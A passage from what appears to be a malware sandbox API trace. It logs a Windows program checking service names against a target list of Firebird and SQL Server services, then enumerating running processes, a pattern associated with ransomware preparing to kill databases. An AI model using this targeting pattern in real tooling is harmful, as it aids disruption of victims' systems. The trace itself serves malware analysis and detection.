(lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0112.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0112.159] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0112.159] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0112.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0112.159] lstrlenW (lpString="MapsBroker") returned 10 [0112.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0112.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0112.160] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0112.160] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0112.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0112.160] lstrlenW (lpString="MpsSvc") returned 6 [0112.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0112.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0112.160] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0112.160] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0112.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0112.160] lstrlenW (lpString="NcbService") returned 10 [0112.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0112.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0112.160] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0112.160] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0112.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0112.160] lstrlenW (lpString="netprofm") returned 8 [0112.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0112.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0112.160] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0112.160] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0112.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0112.160] lstrlenW (lpString="NlaSvc") returned 6 [0112.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0112.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0112.160] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0112.160] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0112.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0112.161] lstrlenW (lpString="nsi") returned 3 [0112.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0112.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0112.161] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0112.161] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0112.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0112.161] lstrlenW (lpString="PcaSvc") returned 6 [0112.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0112.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0112.161] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0112.161] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0112.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0112.161] lstrlenW (lpString="PlugPlay") returned 8 [0112.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0112.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0112.161] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0112.161] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0112.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0112.161] lstrlenW (lpString="Power") returned 5 [0112.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0112.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0112.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0112.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0112.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0112.161] lstrlenW (lpString="ProfSvc") returned 7 [0112.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0112.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0112.162] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0112.162] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0112.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0112.162] lstrlenW (lpString="RpcEptMapper") returned 12 [0112.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0112.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0112.162] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0112.162] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0112.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0112.162] lstrlenW (lpString="RpcSs") returned 5 [0112.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0112.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0112.162] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0112.162] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0112.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0112.162] lstrlenW (lpString="SamSs") returned 5 [0112.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0112.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0112.162] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0112.162] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0112.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0112.162] lstrlenW (lpString="Schedule") returned 8 [0112.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0112.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0112.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0112.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0112.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0112.162] lstrlenW (lpString="SecurityHealthService") returned 21 [0112.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0112.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0112.163] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0112.163] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0112.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0112.163] lstrlenW (lpString="SENS") returned 4 [0112.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0112.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0112.163] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0112.163] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0112.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0112.163] lstrlenW (lpString="ShellHWDetection") returned 16 [0112.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0112.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0112.163] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0112.163] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0112.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0112.163] lstrlenW (lpString="Spooler") returned 7 [0112.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0112.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0112.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0112.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0112.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0112.163] lstrlenW (lpString="SSDPSRV") returned 7 [0112.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0112.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0112.163] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0112.163] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0112.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0112.164] lstrlenW (lpString="StateRepository") returned 15 [0112.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0112.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0112.164] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0112.164] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0112.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0112.164] lstrlenW (lpString="SysMain") returned 7 [0112.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0112.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0112.164] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0112.164] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0112.164] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6110e0 | out: hHeap=0x5b0000) returned 1 [0112.164] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0112.233] Process32FirstW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.234] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0112.234] lstrlenW (lpString="System") returned 6 [0112.235] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0112.235] lstrlenW (lpString="smss.exe") returned 8 [0112.235] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.236] lstrlenW (lpString="csrss.exe") returned 9 [0112.236] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0112.237] lstrlenW (lpString="wininit.exe") returned 11 [0112.237] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.238] lstrlenW (lpString="csrss.exe") returned 9 [0112.238] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0112.239] lstrlenW (lpString="winlogon.exe") returned 12 [0112.239] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0112.240] lstrlenW (lpString="services.exe") returned 12 [0112.240] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0112.241] lstrlenW (lpString="lsass.exe") returned 9 [0112.241] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.242] lstrlenW (lpString="svchost.exe") returned 11 [0112.242] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0112.243] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0112.243] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0112.244] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0112.244] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.244] lstrlenW (lpString="svchost.exe") returned 11 [0112.244] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0112.246] lstrlenW (lpString="dwm.exe") returned 7 [0112.246] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.247] lstrlenW (lpString="svchost.exe") returned 11 [0112.247] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.247] lstrlenW (lpString="svchost.exe") returned 11 [0112.247] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.248] lstrlenW (lpString="svchost.exe") returned 11 [0112.248] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.249] lstrlenW (lpString="svchost.exe") returned 11 [0112.249] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.250] lstrlenW (lpString="svchost.exe") returned 11 [0112.250] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.251] lstrlenW (lpString="svchost.exe") returned 11 [0112.251] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.252] lstrlenW (lpString="svchost.exe") returned 11 [0112.252] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.253] lstrlenW (lpString="svchost.exe") returned 11 [0112.253] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.254] lstrlenW (lpString="svchost.exe") returned 11 [0112.254] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0112.254] lstrlenW (lpString="spoolsv.exe") returned 11 [0112.255] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.255] lstrlenW (lpString="svchost.exe") returned 11 [0112.255] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.256] lstrlenW (lpString="svchost.exe") returned 11 [0112.256] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0112.257] lstrlenW (lpString="audiodg.exe") returned 11 [0112.257] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0112.258] lstrlenW (lpString="sihost.exe") returned 10 [0112.258] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.259] lstrlenW (lpString="svchost.exe") returned 11 [0112.259] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0112.260] lstrlenW (lpString="taskhostw.exe") returned 13 [0112.260] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0112.261] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0112.261] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0112.342] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0112.342] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0112.343] lstrlenW (lpString="explorer.exe") returned 12 [0112.343] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0112.344] lstrlenW (lpString="Memory Compression") returned 18 [0112.344] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0112.345] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0112.345] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0112.345] lstrlenW (lpString="SearchUI.exe") returned 12 [0112.346] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0112.346] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0112.346] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0112.347] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0112.347] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0112.348] lstrlenW (lpString="taskhostw.exe") returned 13 [0112.348] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0112.349] lstrlenW (lpString="UsoClient.exe") returned 13 [0112.349] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0112.350] lstrlenW (lpString="taskhostw.exe") returned 13 [0112.350] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0112.351] lstrlenW (lpString="msoia.exe") returned 9 [0112.351] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0112.352] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0112.352] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 